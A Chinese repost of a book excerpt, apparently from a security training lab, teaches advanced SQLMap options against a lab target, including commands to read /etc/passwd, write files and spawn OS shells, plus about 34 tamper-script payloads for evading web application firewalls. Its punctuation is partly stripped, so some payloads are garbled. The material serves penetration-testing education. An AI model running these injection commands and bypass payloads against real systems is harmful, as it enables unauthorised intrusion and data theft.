网站计划任务怎么做,网站备案图片,wordpress isadmin,网站建设论文设计点击星标#xff0c;即时接收最新推文 本文选自《web安全攻防渗透测试实战指南#xff08;第2版#xff09;》 五折购买链接#xff1a;u.jd.com/3ibjeF6 SQLMap进阶#xff1a;参数讲解 #xff08;1#xff09;--level 5#xff1a;探测等级。 参数“--level 5”指需… 点击星标即时接收最新推文 本文选自《web安全攻防渗透测试实战指南第2版》 五折购买链接u.jd.com/3ibjeF6 SQLMap进阶参数讲解 1--level 5探测等级。 参数“--level 5”指需要执行的测试等级一共有5个等级1~5级可不加“level”默认是1级。可以在xml/payloads.xml中看到SQLMap使用的Payload也可以根据相应的格式添加自己的Payload其中5级包含的Payload最多会自动破解Cookie、XFF等头部注入。当然5级的运行速度也比较慢。 这个参数会影响测试的注入点GET和POST的数据都会进行测试HTTP Cookie在等级为2时会进行测试HTTP User-Agent/Referer头在等级为3时会进行测试。总之在不确定哪个Payload或参数为注入点时为了保证全面性建议使用高的等级值。 2--is-dba当前用户是否有管理权限。 该命令用于查看当前账户是否为数据库管理员账户命令如下 python sqlmap.py –u http://10.211.55.6/Less-1/?id1 --is-dba 在本例中输入该命令会返回True如图3-15所示。 图3-15 3--roles查看数据库用户的角色。 该命令用于查看数据库用户的角色。如果当前用户有权限读取包含所有用户的表则输入该命令会列举出每个用户的角色也可以用参数“-U”指定查看某个用户的角色。该命令仅适用于当前数据库是Oracle时。在本例中输入该命令的结果如图3-16所示。 图3-16 4--refererHTTP Referer头。 SQLMap可以在请求中伪造HTTP中的Referer当参数“--level”设定为3或3以上时会尝试对Referer注入。可以使用参数“--referer”伪造一个HTTP Referer头如--referer http://10.211.55.6。 5--sql-shell运行自定义SQL语句。 该命令用于执行指定的SQL语句命令如下 python sqlmap.py –u http://10.211.55.6/Less-1/?id1 --sql-shell 假设执行“select * from security.users limit 0,2”语句结果如图3-17所示。 图3-17 6--os-cmd或--os-shell运行任意操作系统命令。 当数据库为MySQL、PostgreSQL或Microsoft SQL Server并且当前用户有权限使用特定的函数时可以使用参数“--os-cmd”执行系统命令。如果数据库为MySQL或PostgreSQL则SQLMap会上传一个二进制库包含用户自定义的函数sys_exec()和sys_eval()通过创建的这两个函数就可以执行系统命令。如果数据库为Microsoft SQL Server则SQLMap将使用xp_cmdshell存储过程执行系统命令。如果xp_cmdshell被禁用在Microsoft SQL Server 2005及以上版本中默认被禁用则SQLMap会重新启用它如果xp_cmdshell不存在则SQLMap将创建它。 使用参数“--os-shell”可以模拟一个真实的Shell与服务器进行交互。当不能执行多语句时如PHP或ASP的后端数据库为MySQLSQLMap可以通过SELECT语句中的INTO OUTFILE在Web服务器的可写目录中创建Web后门从而执行命令。参数“--os-shell”支持ASP、ASP.NET、JSP和PHP四种语言。 7--file-read从数据库服务器中读取执行文件。 该命令用于从数据库服务器中读取执行文件。当数据库为MySQL、PostgreSQL或Microsoft SQL Server并且当前用户有权限使用特定的函数时读取的文件可以是文本也可以是二进制文件。下面以Microsoft SQL Server 2005为例说明参数“--file-read”的用法命令如下 $ python sqlmap.py -u http://10.211.55.6/Less-1/?id1 --file-read /etc/passwd -v 1
[...]
[17:45:15] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL 5.5
[17:45:15] [INFO] fingerprinting the back-end DBMS operating system
[17:45:15] [INFO] the back-end DBMS operating system is Linux
[17:45:15] [INFO] fetching file: /etc/passwd
do you want confirmation that the remote file /etc/passwd has been successfully downloaded from the back-end DBMS file system? [Y/n]
[17:45:19] [INFO] the local file /root/.local/share/sqlmap/output/10.211.55.6/files/_etc_passwd and the remote file /etc/passwd have the same size (1012 B)
files saved to [1]:
[*] /root/.local/share/sqlmap/output/10.211.55.6/files/_etc_passwd (same file) 8--file-write和--file-dest将本地文件写入数据库服务器。 该命令用于将本地文件写入数据库服务器。当数据库为MySQL、PostgreSQL或Microsoft SQL Server并且当前用户有权限使用特定的函数时上传的文件可以是文本也可以是二进制文件。下面以一个MySQL的例子说明参数“--file-write”和“--file-dest”的用法命令如下 $ python sqlmap.py -u http://10.211.55.6/Less-1/?id1 --file-write ./1.txt --file-dest /tmp/1.txt -v 1 SQLMap自带tamper绕过脚本的讲解 为了防止注入语句中出现单引号SQLMap默认情况下会使用CHAR()函数。除此之外没有对注入的数据进行其他修改。读者可以通过使用参数“--tamper”对数据做修改来绕过WAF等设备其中大部分脚本主要用正则模块替换Payload字符编码的方式尝试绕过WAF的检测规则命令如下 python sqlmap.py XXXXX --tamper 模块名 目前官方提供了多个绕过脚本下面是一个tamper绕过脚本的格式。 # sqlmap/tamper/escapequotes.pyfrom lib.core.enums import PRIORITY__priority__ PRIORITY.LOWESTdef dependencies():passdef tamper(payload, **kwargs):return payload.replace(, \\).replace(, \\) 不难看出最简洁的tamper绕过脚本的结构包含priority变量、dependencies函数和tamper函数。 1priority变量定义脚本的优先级用于有多个tamper绕过脚本的情况。 2dependencies函数声明该脚本适用/不适用的范围可以为空。 下面以一个转大写字符绕过的脚本为例tamper绕过脚本主要由dependencies和tamper两个函数构成。def tamperpayload,**kwargs函数接收payload和**kwargs并返回一个Payload。下面这段代码的意思是通过正则模块匹配所有字符将所有Payload中的字符转换为大写字母。 def tamper(payload, **kwargs):retVal payloadif payload:for match in re.finditer(r[A-Za-z_], retVal):word match.group()if word.upper() in kb.keywords:retVal retVal.replace(word, word.upper())return retVal 在日常使用中我们会对一些网站是否有安全防护进行试探可以使用参数“--identify-waf”进行检测。 下面介绍一些常用的tamper绕过脚本。 1apostrophemask.py。 作用将引号替换为UTF-8格式用于过滤单引号。 使用脚本前的语句如下 1 AND 11 使用脚本后的语句如下 1 AND %EF%BC%871%EF%BC%87%EF%BC%871 2base64encode.py。 作用将请求参数进行Base64编码。 使用脚本前的语句如下 1 AND SLEEP(5)# 使用脚本后的语句如下 MScgQU5EIFNMRUVQKDUpIw 3multiplespaces.py。 作用在SQL语句的关键字中间添加多个空格。 使用脚本前的语句如下 1 UNION SELECT foobar 使用脚本后的语句如下 1 UNION SELECT foobar 4space2plus.py。 作用用加号替换空格。 使用脚本前的语句如下 SELECT id FROM users 使用脚本后的语句如下 SELECTidFROMusers 5nonrecursivereplacement.py。 作用作为双重查询语句用双重语句替代预定义的SQL关键字适用于非常弱的自定义过滤器例如将“SELECT”替换为空。 使用脚本前的语句如下 1 UNION SELECT 2-- 使用脚本后的语句如下 1 UNIOUNIONN SELESELECTCT 2-- 6space2randomblank.py。 作用将空格替换为其他有效字符例如%09,%0A,%0C,%0D。 使用脚本前的语句如下 SELECT id FROM users 使用脚本后的语句如下 SELECT%0Did%0DFROM%0Ausers 7unionalltounion.py。 作用将“UNION ALL SELECT”替换为“UNION SELECT”。 使用脚本前的语句如下 -1 UNION ALL SELECT 使用脚本后的语句如下 -1 UNION SELECT 8securesphere.py。 作用追加特制的字符串。 使用脚本前的语句如下 1 AND 11 使用脚本后的语句如下 1 AND 11 and 0having0having 9space2hash.py。 作用将空格替换为井字号#并添加一个随机字符串和换行符。 使用脚本前的语句如下 1 AND 92279227 使用脚本后的语句如下 1%23nVNaVoPYeva%0AAND%23ngNvzqu%0A92279227 10space2mssqlblank.py。 作用将空格替换为其他空符号。 使用脚本前的语句如下 SELECT id FROM users 使用脚本后的语句如下。 SELECT%0Eid%0DFROM%07users 11space2mssqlhash.py。 作用将空格替换为井字号#并添加一个换行符。 使用脚本前的语句如下 1 AND 92279227 使用脚本后的语句如下 1%23%0AAND%23%0A92279227 12between.py。 作用用“NOT BETWEEN 0 AND”替换大于号用“BETWEEN AND”替换等号。 使用脚本前的语句如下 1 AND A B-- 使用脚本后的语句如下 1 AND A NOT BETWEEN 0 AND B-- 使用脚本前的语句如下 1 AND A B-- 使用脚本后的语句如下 1 AND A BETWEEN B AND B-- 13percentage.py。 作用ASP语言允许在每个字符前面添加一个百分号%。 使用脚本前的语句如下 SELECT FIELD FROM TABLE 使用脚本后的语句如下 %S%E%L%E%C%T%F%I%E%L%D%F%R%O%M%T%A%B%L%E 14sp_password.py。 作用将“sp_password”追加到Payload的未尾。 使用脚本前的语句如下 1 AND 92279227-- 使用脚本后的语句如下 1 AND 92279227-- sp_password 15charencode.py。 作用对给定的Payload全部字符使用URL编码不处理已经编码的字符。 使用脚本前的语句如下 SELECT FIELD FROM%20TABLE 使用脚本后的语句如下 %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 16randomcase.py。 作用在SQL语句中对关键字进行随机大小写转换。 使用脚本前的语句如下 INSERT 使用脚本后的语句如下 InsERt 17charunicodeencode.py。 作用对SQL语句进行字符串unicode编码。 使用脚本前的语句如下 SELECT FIELD%20FROM TABLE 使用脚本后的语句如下 %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045 18space2comment.py。 作用将空格替换为“/**/”。 使用脚本前的语句如下 SELECT id FROM users 使用脚本后的语句如下 SELECT/**/id/**/FROM/**/users 19equaltolike.py。 作用将等号替换为“like”。 使用脚本前的语句如下 SELECT * FROM users WHERE id1 使用脚本后的语句如下 SELECT * FROM users WHERE id LIKE 1 20greatest.py。 作用绕过对“大于号”的过滤用“GREATEST”替换大于号。 使用脚本前的语句如下 1 AND A B 使用脚本后的语句如下 1 AND GREATEST(A,B1)A 测试通过的数据库类型和版本如下。 — MySQL 4、MySQL 5.0和MySQL 5.5。 — Oracle 10g。 — PostgreSQL 8.3、PostgreSQL 8.4和PostgreSQL 9.0。 21ifnull2ifisnull.py。 作用绕过对“IFNULL”的过滤将类似“IFNULL(A,B)”的数据库语句替换为“IF(ISNULL(A), B, A)”。 使用脚本前的语句如下 IFNULL(1, 2) 使用脚本后的语句如下 IF(ISNULL(1),2,1) 该tamper脚本可在MySQL 5.0和MySQL 5.5数据库中使用。 22modsecurityversioned.py。 作用过滤空格通过MySQL内联注释的方式进行注入。 使用脚本前的语句如下 1 AND 21-- 使用脚本后的语句如下 1 /*!30874AND 21*/-- 该tamper脚本可在MySQL 5.0数据库中使用。 23space2mysqlblank.py。 作用将空格替换为其他空白符号。 使用脚本前的语句如下 SELECT id FROM users 使用脚本后的语句如下 SELECT%A0id%0BFROM%0Cusers 该tamper脚本可在MySQL 5.1数据库中使用。 24modsecurityzeroversioned.py。 作用通过MySQL内联注释的方式/*!00000*/进行注入。 使用脚本前的语句如下 1 AND 21-- 使用脚本后的语句如下 1 /*!00000AND 21*/-- 该tamper脚本可在MySQL 5.0数据库中使用。 25space2mysqldash.py。 作用将空格替换为“--”并添加一个换行符。 使用脚本前的语句如下。 1 AND 92279227 使用脚本后的语句如下。 1--%0AAND--%0A92279227 26bluecoat.py。 作用在SQL语句之后用有效的随机空白符替换空格符随后用“LIKE”替换等号。 使用脚本前的语句如下 SELECT id FROM users where id 1 使用脚本后的语句如下 SELECT%09id FROM%09users WHERE%09id LIKE 1 该tamper脚本可在MySQL 5.1和SGOS数据库中使用。 27versionedkeywords.py。 作用绕过注释。 使用脚本前的语句如下 UNION ALL SELECT NULL, NULL,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_ USER() AS CHAR),CHAR(32)),CH/**/AR(58,100,114, 117,58))# 使用脚本后的语句如下 /*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58), IFNULL(CAST(CURRENT_USER()/*!AS**!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))# 28halfversionedmorekeywords.py。 作用当数据库为MySQL时绕过防火墙在每个关键字之前添加MySQL版本的注释。 使用脚本前的语句如下 value UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST (CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND QDWaQDWa 使用脚本后的语句如下 value/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND QDWaQDWa 该tamper脚本可在MySQL 4.0.18和MySQL 5.0.22数据库中使用。 29space2morehash.py。 作用将空格替换为井字号#并添加一个随机字符串和换行符。 使用脚本前的语句如下 1 AND 92279227 使用脚本后的语句如下 1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23 lujYFWfv%0A92279227 该tamper脚本可在MySQL 5.1.41数据库中使用。 30apostrophenullencode.py。 作用用非法双字节unicode字符替换单引号。 使用脚本前的语句如下 1 AND 11 使用脚本后的语句如下 1 AND %00%271%00%27%00%271 31appendnullbyte.py。 作用在有效负荷的结束位置加载零字节字符编码。 使用脚本前的语句如下 1 AND 11 使用脚本后的语句如下 1 AND 11%00 32chardoubleencode.py。 作用对给定的Payload全部字符使用双重URL编码不处理已经编码的字符。 使用脚本前的语句如下 SELECT FIELD FROM%20TABLE 使用脚本后的语句如下 %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545 33unmagicquotes.py。 作用用一个多字节组合%bf%27和末尾通用注释一起替换空格。 使用脚本前的语句如下 1 AND 11 使用脚本后的语句如下 1%bf%27-- 34randomcomments.py。 作用用“/**/”分割SQL关键字。 使用脚本前的语句如下 INSERT 使用脚本后的语句如下 IN/**/S/**/ERT 虽然SQLMap自带的tamper绕过脚本可以做很多事情但实际环境往往比较复杂tamper绕过脚本无法应对所有情况因此建议读者在学习如何使用自带的tamper绕过脚本的同时掌握tamper绕过脚本的编写规则这样在应对各种实战环境时能更自如。 MS08067安全实验室视频号已上线 欢迎各位同学关注转发~ — 实验室旗下直播培训课程 — 和20000位同学加入MS08067一起学习